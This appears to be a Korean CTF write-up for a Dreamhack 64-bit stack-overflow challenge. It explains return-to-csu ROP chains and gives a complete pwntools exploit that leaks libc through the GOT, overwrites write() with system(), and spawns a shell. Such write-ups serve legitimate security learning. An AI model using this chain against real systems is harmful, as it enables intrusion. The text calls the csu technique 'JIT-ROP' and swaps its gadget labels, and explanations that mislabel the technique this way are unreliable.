문제분석
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
○ 코드 분석
- buf[0x40] 선언
- read(0, buf, 0x400)
- buf에 0x400 크기 입력
- write(1, buf, sizeof(buf))
- buf 출력
ROP 체인을 구성해서 system("/bin/sh")
를 실행하는 것이 목표다.
필자는 풀이 과정에서 __libc_csu_init()
가젯을 활용할 예정이다. __libc_csu_init()
에 대해서 공부하고자 해당 개념을 이용한 풀이를 작성했다.
○ JIT-ROP
__libc_csu_init()
내의 일부 코드를 가젯으로 사용하는 공격 기법이다.
__libc_csu_init()
를 활용한 대표적인 공격방식이 JIT-ROP이다. JIT ROP의 주 목적은 Per-process fine-grained randomization을 우회하기 위해서 ROP 가젯들을 시간 내에 찾는 것이다.
가젯들을 빨리 찾으면 프로그램이 끝나기 전에 같은 프로세스 내에서 ROP 공격을 할 수 있게 된다.
다음은 __libc_csu_init()
가젯이다.
# libc_csu_init1
0x00000000004012a8 <+56 >: mov rdx,r14
0x00000000004012ab <+59 >: mov rsi,r13
0x00000000004012ae <+62 >: mov edi,r12d
0x00000000004012b1 <+65 >: call QWORD PTR [r15+rbx*8 ]
0x00000000004012b5 <+69 >: add rbx,0x1
0x00000000004012b9 <+73 >: cmp rbp,rbx
0x00000000004012bc <+76 >: jne 0x4012a8 <__libc_csu_init+56 >
0x00000000004012be <+78 >: add rsp,0x8
# libc_csu_init2
0x00000000004012c2 <+82 >: pop rbx
0x00000000004012c3 <+83 >: pop rbp
0x00000000004012c4 <+84 >: pop r12
0x00000000004012c6 <+86 >: pop r13
0x00000000004012c8 <+88 >: pop r14
0x00000000004012ca <+90 >: pop r15
0x00000000004012cc <+92 >: ret
objdump로 __libc_csu_init()
의 일부 코드를 가져온 것이다.
지금부터 libc_csu_init1
과 libc_csu_init2
로 나눠서 지칭하겠다.
○ Gadget
libc_csu_init1
- r13, r14, r15 레지스터의 값을 각각 rdx, rsi, edi에 저장한다.
libc_csu_init2
- pop 6개와 ret으로 구성되어있으며 rbx, rbp, r12, r13, r14, r15 총 6개의 레지스터에 값들을 저장한다.
libc_csu_init1
를 보면 마지막에 [r12 + rbx*8] 주소의 함수를 호출하고 있는데, rbx가 0일때, r12 주소의 함수를 호출 할 수 있다.
만약, libc_csu_init1
과 libc_csu_init2
를 연속적으로 사용하고 싶다면 rbp에 1을 넣어야 한다.
왜냐하면, libc_csu_init1
이후에 rbx+1 값과 rbp 값을 비교하는 조건문이 있는데 조건문이 false인 경우에만 libc_csu_init2
을 연속적으로 실행할 수 있음으로 위에서 설명한 것처럼 rbx에는 0을 넣을 것이기 때문에 rbp는 1이 되어야 한다.
libc_csu_init1,2
를 연속으로 사용할 수 있다는 점이 매우 중요하다. exploit 할 때 해당 지점을 활용한다.
○ JIT-ROP exploit
- buf~RET 사이의 거리를 구한다.
write()
로__libc_start_main
주소를 구한다.- 마지막에 실행할
execve()
의 1번째 인자인 “/bin/sh” 문자열을 BSS 영역에 저장한다. write()
로 메모리에 저장된 libc를 출력한다. (libc 영역을 메모리 덤프로 출력)- libc에서 원하는 가젯을 찾고
read()
로 .bss 영역에 ROP chain을 구성한다. → stack pivoting - 마지막으로
execve()
를 실행해서 쉘을 획득한다.
예제로 자세히 알아보자.
[사진]은 payload다. libc_csu_init2
로 6개 레지스터 값을 ROP 체인을 구성할 때마다 매번 바꿔서 ROP 체인 별로 원하는 함수에 원하는 인자를 넣어서 실행하는 것을 확인할 수 있다.
코드를 자세히 보면 주황색(libc_csu_init2
)에서 호출한 함수의 인자 값은 빨간색(libc_csu_init1
)에서 레지스터에 넣은 값들을 사용하는 특징을 확인할 수 있다. 마찬가지로 노란색(libc_csu_init2
)에서 호출한 함수는 주황색(libc_csu_init2
)에서 레지스터에 넣은 값들을 사용하고 있다.
JIT-ROP에서 핵심은 초반에 언급한 __libc_csu_init()
가젯이고 해당 가젯들로 연속적인 ROP chain을 구성할 수 있다는 것이다.
이런 점을 활용해서 1 ~ 7 단계의 공격 방법을 수행하면 쉘을 얻을 수 있다.
○ 정리
[libc_csu_init1 → libc_csu_init2 → libc_csu_init2 → ......] 와 같은 방식으로 ROP 체인을 구성해서 libc_csu_init2를 실행할 때마다 임의의 명령(ex. system("/bin/sh"))을 실행하는 방식으로 공격한다.
문제풀이
__libc_csu_init
가젯을 이용해서 문제를 해결해보자.
○ ROP Chain
write(1, read_got, 8)
read() GOT
주소 출력
read(0, binsh, 8)
- bss영역에 “/bin/sh” 저장
read(0, write_got, 8)
write() GOT
를system()
로 overwrite- GOT overwrite
write("/bin/sh")
system("/bin/sh")
실행
5개 함수를 실행할 것이므로 [libc_csu_init1
→ libc_csu_init2
→ libc_csu_init2
→ libc_csu_init2
→ libc_csu_init2
] 순서로 호출하면서 레지스터 값만 적절하게 변경하면 된다.
먼저, __libc_csu_init
가젯 주소를 구해보자.
○ __libc_csu_init
objdump -M intel -d ./basic_rop_x64
400860: 4c 89 ea mov rdx,r13
400863: 4c 89 f6 mov rsi,r14
400866: 44 89 ff mov edi,r15d
400869: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40086d: 48 83 c3 01 add rbx,0x1
400871: 48 39 eb cmp rbx,rbp
400874: 75 ea jne 400860 <__libc_csu_init+0x40>
400876: 48 83 c4 08 add rsp,0x8
40087a: 5b pop rbx
40087b: 5d pop rbp
40087c: 41 5c pop r12
40087e: 41 5d pop r13
400880: 41 5e pop r14
400882: 41 5f pop r15
400884: c3 ret
400885: 90 nop
400886: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
objdump 명령어로 libc_csu_init1,2
주소를 구할 수 있다.
0x400860 == libc_csu_init1
, 0x40087a == libc_csu_init2
라는 것을 알 수 있다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games", 19869)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
read_got = e.got["read"]
write_got = e.got["write"]
binsh = e.bss()
# libc_csu_init1
libc_csu1 = 0x40087a
# libc_csu_init2
libc_csu2 = 0x400860
# write(1, read_got, 8) -> read got 주소 출력
payload = b'\x90'*0x40 + b'\x90'*0x8
payload += p64(libc_csu1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_got)
payload += p64(1)
payload += p64(libc_csu2)
# read(0, binsh, 8) -> bss영역에 “/bin/sh” 저장
payload += b'\x90'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(binsh)
payload += p64(0)
payload += p64(libc_csu2)
# read(0, write_got, 8) -> write got를 system() 주소로 덮음 (GOT overwrite)
payload += b'\x90'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(0)
payload += p64(libc_csu2)
# write("/bin/sh") == system("/bin/sh") -> write got를 호출하여 실질적으로 system()을 호출하도록 유도하고 system("/bin/sh") 실행
payload += b'A'*0x8
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(0)
payload += p64(0)
payload += p64(binsh)
payload += p64(libc_csu2)
p.sendline(payload)
p.recv(0x40)
read_address = u64(p.recvn(6).ljust(8, b'\x00'))
log.info("read_address : "+hex(read_address))
libc_base = read_address - read_offset
system_address = libc_base + system_offset
log.info("libc_base : "+hex(libc_base))
log.info("system_address : "+hex(system_address))
p.send(b"/bin/sh\x00")
p.sendline(p64(system_address))
p.interactive()
코드가 이해하기 어려운 독자는 libc_csu_init2
가 실행될 때마다 주석으로 작성한 함수가 실행되는 방식이라고 생각하면 좀 더 간단할 것 같다.
코드를 실행해보자.